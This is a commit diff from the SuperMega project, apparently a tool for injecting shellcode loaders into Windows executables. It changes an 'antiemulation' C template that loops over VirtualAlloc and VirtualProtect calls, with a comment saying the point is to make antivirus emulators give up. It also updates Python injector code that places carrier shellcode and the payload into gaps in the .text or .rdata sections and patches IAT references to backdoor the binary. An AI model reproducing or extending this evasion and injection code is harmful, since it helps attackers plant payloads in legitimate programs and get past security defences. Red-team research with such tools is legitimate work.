mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
Merge branch 'main' of https://github.com/dobin/SuperMega
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,13 +1,16 @@
|
|||||||
|
|
||||||
|
|
||||||
#define SIR_ITERATION_COUNT {{SIR_ITERATION_COUNT}}
|
|
||||||
#define SIR_ALLOC_COUNT {{SIR_ALLOC_COUNT}}
|
|
||||||
|
|
||||||
#define SIR_SLEEP_TIME 200 // ms
|
|
||||||
|
|
||||||
|
|
||||||
/* This will allocate SIR_ALLOC_COUNT RW memory regions,
|
/* This will allocate SIR_ALLOC_COUNT RW memory regions,
|
||||||
set them to RX, and free them
|
set them to RX, and free them.
|
||||||
|
And this SIR_ITERATION_COUNT times.
|
||||||
|
|
||||||
|
SIR_ITERATION_COUNT: Single digits, around 5
|
||||||
|
SIR_ALLOC_COUNT: Tripple digits, around 100
|
||||||
|
|
||||||
|
Memory : SIR_ALLOC_COUNT * payload_length
|
||||||
|
Cycles : SIR_ALLOC_COUNT * payload_length * SIR_ITERATION_COUNT
|
||||||
|
Time : SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * payload_length * ?
|
||||||
|
API calls: SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * 3
|
||||||
|
|
||||||
The idea is that the AV emulator will probably give up, either because
|
The idea is that the AV emulator will probably give up, either because
|
||||||
of used memory is above maximum, or amount of instructions, or
|
of used memory is above maximum, or amount of instructions, or
|
||||||
@@ -18,11 +21,11 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
void antiemulation() {
|
void antiemulation() {
|
||||||
void* allocs[SIR_ALLOC_COUNT];
|
void* allocs[{{SIR_ALLOC_COUNT}}];
|
||||||
DWORD result;
|
DWORD result;
|
||||||
|
|
||||||
for(int i=0; i<SIR_ITERATION_COUNT; i++) {
|
for(int i=0; i<{{SIR_ITERATION_COUNT}}; i++) {
|
||||||
for(int n=0; n<SIR_ALLOC_COUNT; n++) {
|
for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
|
||||||
allocs[n] = VirtualAlloc(
|
allocs[n] = VirtualAlloc(
|
||||||
NULL,
|
NULL,
|
||||||
{{PAYLOAD_LEN}},
|
{{PAYLOAD_LEN}},
|
||||||
@@ -37,33 +40,23 @@ void antiemulation() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write something.
|
for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
|
||||||
/*for(int n=0; n<SIR_ALLOC_COUNT; n++) {
|
|
||||||
char *alloc = allocs[n];
|
|
||||||
alloc[0] = 0; // overwrite the first byte
|
|
||||||
}*/
|
|
||||||
|
|
||||||
for(int n=0; n<SIR_ALLOC_COUNT; n++) {
|
|
||||||
if (VirtualProtect(
|
if (VirtualProtect(
|
||||||
allocs[n],
|
allocs[n],
|
||||||
{{PAYLOAD_LEN}},
|
{{PAYLOAD_LEN}},
|
||||||
p_RX,
|
p_RX,
|
||||||
&result) == 0)
|
&result) == 0)
|
||||||
{
|
{
|
||||||
return 7;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Sleep(SIR_SLEEP_TIME);
|
|
||||||
|
|
||||||
BOOL bSuccess;
|
BOOL bSuccess;
|
||||||
for(int n=0; n<SIR_ALLOC_COUNT; n++) {
|
for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
|
||||||
bSuccess = VirtualFree(
|
bSuccess = VirtualFree(
|
||||||
allocs[n],
|
allocs[n],
|
||||||
{{PAYLOAD_LEN}},
|
{{PAYLOAD_LEN}},
|
||||||
0x00008000); // MEM_RELEASE
|
0x00008000); // MEM_RELEASE
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,6 +22,8 @@ char *supermega_payload;
|
|||||||
|
|
||||||
{{plugin_executionguardrail}}
|
{{plugin_executionguardrail}}
|
||||||
|
|
||||||
|
{{plugin_virtualprotect}}
|
||||||
|
|
||||||
|
|
||||||
int main()
|
int main()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -23,6 +23,10 @@ class Settings():
|
|||||||
|
|
||||||
self.dllfunc: str = "" # For DLL injection
|
self.dllfunc: str = "" # For DLL injection
|
||||||
|
|
||||||
|
# Anti-debugging
|
||||||
|
self.sir_iteration_count: int = 5
|
||||||
|
self.sir_alloc_count: int = 100
|
||||||
|
|
||||||
# Injectable
|
# Injectable
|
||||||
self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr
|
self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr
|
||||||
self.inject_exe_in: FilePath = ""
|
self.inject_exe_in: FilePath = ""
|
||||||
|
|||||||
+1
-1
@@ -129,7 +129,7 @@ class SuperPe():
|
|||||||
|
|
||||||
|
|
||||||
def has_rodata_section(self) -> bool:
|
def has_rodata_section(self) -> bool:
|
||||||
return self.get_section_by_name(".rdata")
|
return self.get_section_by_name(".rdata") != None
|
||||||
|
|
||||||
|
|
||||||
def write_code_section_data(self, data: bytes):
|
def write_code_section_data(self, data: bytes):
|
||||||
|
|||||||
+53
-17
@@ -45,30 +45,62 @@ class Injector():
|
|||||||
|
|
||||||
|
|
||||||
def init_addresses(self):
|
def init_addresses(self):
|
||||||
|
if self.settings.payload_location == PayloadLocation.CODE:
|
||||||
|
#. text
|
||||||
|
# ┌───────────┬─────────────────────────────────────┬───────┐
|
||||||
|
# │ ├────────┼────────┼───────────────────┤ │
|
||||||
|
# │ │Carrier │ 1 Page │ Payload │ │
|
||||||
|
# │ ├────────┼────────┼───────────────────┤ │
|
||||||
|
# └───────────┴─────────────────────────────────────┴───────┘
|
||||||
|
#
|
||||||
|
# Payload is page aligned when used with dll_loader_change
|
||||||
|
|
||||||
|
# carrier location
|
||||||
|
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
|
||||||
rm = self.superpe.get_code_rangemanager()
|
rm = self.superpe.get_code_rangemanager()
|
||||||
|
|
||||||
# TECHNIQUE0:
|
|
||||||
# assume payload is big, find a place for it, then prepend carrier (small)
|
|
||||||
complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096
|
|
||||||
|
|
||||||
largest_gap = rm.find_holes(complete_size)
|
largest_gap = rm.find_holes(complete_size)
|
||||||
if len(largest_gap) == 0:
|
if len(largest_gap) == 0:
|
||||||
raise Exception('No hole found in code section to fit payload!')
|
raise Exception('No hole found in code section to fit payload!')
|
||||||
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
|
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
|
||||||
|
|
||||||
# align to center
|
|
||||||
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
|
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
|
||||||
offset += largest_gap[0][0]
|
offset += largest_gap[0][0]
|
||||||
|
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
|
||||||
|
|
||||||
|
# payload location: behind carrier + 1 page
|
||||||
if self.settings.carrier_name == "dll_loader_change":
|
if self.settings.carrier_name == "dll_loader_change":
|
||||||
# Align to page size
|
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + 4096
|
||||||
offset = offset & 0xFFFFF000
|
self.payload_rva = self.payload_rva & 0xFFFFF000 # page align
|
||||||
|
else:
|
||||||
|
# no page align
|
||||||
|
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096
|
||||||
|
else:
|
||||||
|
# .text .rdata
|
||||||
|
# ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐
|
||||||
|
# │ │ │ │ │ │ │ │
|
||||||
|
# │ │ carrier │ │ │ │payload │ │
|
||||||
|
# │ │ │ │ │ │ │ │
|
||||||
|
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
|
||||||
|
|
||||||
# page aligned possibly
|
# carrier location
|
||||||
self.payload_rva = offset
|
rm = self.superpe.get_code_rangemanager()
|
||||||
|
complete_size = len(self.carrier_shc)
|
||||||
|
largest_gap = rm.find_holes(complete_size)
|
||||||
|
if len(largest_gap) == 0:
|
||||||
|
raise Exception('No hole found in code section to fit payload!')
|
||||||
|
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
|
||||||
|
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
|
||||||
|
offset += largest_gap[0][0]
|
||||||
|
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
|
||||||
|
|
||||||
# prepend it a bit
|
# payload location
|
||||||
self.carrier_rva = offset - len(self.payload.payload_data) - 4096
|
rdata_rm = self.superpe.get_rdata_rangemanager()
|
||||||
|
complete_size = len(self.payload.payload_data)
|
||||||
|
largest_gap = rdata_rm.find_holes(complete_size)
|
||||||
|
if len(largest_gap) == 0:
|
||||||
|
raise Exception('No hole found in code section to fit payload!')
|
||||||
|
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
|
||||||
|
offset = largest_gap[0][0]
|
||||||
|
self.payload_rva = self.superpe.get_section_by_name(".rdata").virt_addr + offset
|
||||||
|
|
||||||
|
|
||||||
## Inject
|
## Inject
|
||||||
@@ -105,6 +137,9 @@ class Injector():
|
|||||||
|
|
||||||
else: # EXE/DLL
|
else: # EXE/DLL
|
||||||
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
|
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
|
||||||
|
if carrier_offset == None:
|
||||||
|
raise Exception("Carrier Offset is None, invalid carrier RVA? 0x{:X}".format(self.carrier_rva))
|
||||||
|
#logger.info("{} {}".format(self.carrier_rva, carrier_offset))
|
||||||
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
|
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
|
||||||
self.carrier_rva, carrier_offset))
|
self.carrier_rva, carrier_offset))
|
||||||
|
|
||||||
@@ -205,7 +240,9 @@ class Injector():
|
|||||||
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
|
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
|
||||||
len(jmp), len(placeholder)
|
len(jmp), len(placeholder)
|
||||||
))
|
))
|
||||||
|
idx = code.index(placeholder)
|
||||||
code = code.replace(placeholder, jmp)
|
code = code.replace(placeholder, jmp)
|
||||||
|
asm_disasm(code[idx:idx+7])
|
||||||
|
|
||||||
self.superpe.write_code_section_data(code)
|
self.superpe.write_code_section_data(code)
|
||||||
|
|
||||||
@@ -217,8 +254,6 @@ class Injector():
|
|||||||
# nothing todo
|
# nothing todo
|
||||||
return
|
return
|
||||||
|
|
||||||
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
|
|
||||||
|
|
||||||
# insert data
|
# insert data
|
||||||
logger.info("---( DataReuseFixups: Inject the data")
|
logger.info("---( DataReuseFixups: Inject the data")
|
||||||
for datareuse_fixup in reusedata_fixups:
|
for datareuse_fixup in reusedata_fixups:
|
||||||
@@ -226,6 +261,7 @@ class Injector():
|
|||||||
datareuse_fixup.string_ref, datareuse_fixup.in_code))
|
datareuse_fixup.string_ref, datareuse_fixup.in_code))
|
||||||
|
|
||||||
if datareuse_fixup.in_code: # .text
|
if datareuse_fixup.in_code: # .text
|
||||||
|
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
|
||||||
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
|
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
|
||||||
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
|
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
|
||||||
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
|
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
|
||||||
@@ -270,8 +306,8 @@ class Injector():
|
|||||||
)
|
)
|
||||||
asm_disasm(lea, instruction_virtual_address) # DEBUG
|
asm_disasm(lea, instruction_virtual_address) # DEBUG
|
||||||
if len(lea) != len(ref.placeholder):
|
if len(lea) != len(ref.placeholder):
|
||||||
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
|
raise Exception("DataReuseFixup: lea instr has different length than placeholder {}: {} != {} abort".format(
|
||||||
len(lea), len(ref.placeholder)
|
ref.placeholder, len(lea), len(ref.placeholder)
|
||||||
))
|
))
|
||||||
code = code.replace(ref.placeholder, lea)
|
code = code.replace(ref.placeholder, lea)
|
||||||
|
|
||||||
|
|||||||
+10
-6
@@ -60,15 +60,19 @@ def create_c_from_template(settings: Settings, payload_len: int):
|
|||||||
filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
|
filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
|
||||||
settings.plugin_antiemulation)
|
settings.plugin_antiemulation)
|
||||||
with open(filepath_antiemulation, "r", encoding='utf-8') as file:
|
with open(filepath_antiemulation, "r", encoding='utf-8') as file:
|
||||||
sir_iteration_count = 5
|
sir_iteration_count = settings.sir_iteration_count
|
||||||
sir_alloc_count = int(config.get("sir_target_mem") / payload_len)+1
|
sir_alloc_count = settings.sir_alloc_count
|
||||||
|
# sir_alloc_count = int((int(config.get("sir_target_mem")) / payload_len))+1
|
||||||
|
max_alloc_count = 256
|
||||||
|
if sir_alloc_count > max_alloc_count:
|
||||||
# if too large, compiler will add a __checkstk dependency
|
# if too large, compiler will add a __checkstk dependency
|
||||||
if sir_alloc_count > 256:
|
logging.warning("Too large sir allocation count {}, setting to max {}".format(
|
||||||
sir_alloc_count = 256
|
sir_alloc_count, max_alloc_count
|
||||||
logging.info(" AntiEmulation target: iterations: {} alloc: {}".format(
|
))
|
||||||
|
sir_alloc_count = max_alloc_count
|
||||||
|
logging.info("> AntiEmulation: iterations: {} allocs: {}".format(
|
||||||
sir_iteration_count, sir_alloc_count)
|
sir_iteration_count, sir_alloc_count)
|
||||||
)
|
)
|
||||||
|
|
||||||
plugin_antiemualation = file.read()
|
plugin_antiemualation = file.read()
|
||||||
plugin_antiemualation = Template(plugin_antiemualation).render({
|
plugin_antiemualation = Template(plugin_antiemualation).render({
|
||||||
'PAYLOAD_LEN': payload_len,
|
'PAYLOAD_LEN': payload_len,
|
||||||
|
|||||||
@@ -203,6 +203,10 @@ def start_real(settings: Settings):
|
|||||||
build_exe = settings.main_exe_path)
|
build_exe = settings.main_exe_path)
|
||||||
observer.add_code_file("carrier_shc", carrier_shellcode)
|
observer.add_code_file("carrier_shc", carrier_shellcode)
|
||||||
|
|
||||||
|
logging.info("> Carrier Size: {} Payload Size: {}".format(
|
||||||
|
len(carrier_shellcode), len(project.payload.payload_data)
|
||||||
|
))
|
||||||
|
|
||||||
# INJECT loader into an exe and do IAT & data references. Big task.
|
# INJECT loader into an exe and do IAT & data references. Big task.
|
||||||
injector = phases.injector.Injector(
|
injector = phases.injector.Injector(
|
||||||
carrier_shellcode,
|
carrier_shellcode,
|
||||||
|
|||||||
Reference in New Issue
Block a user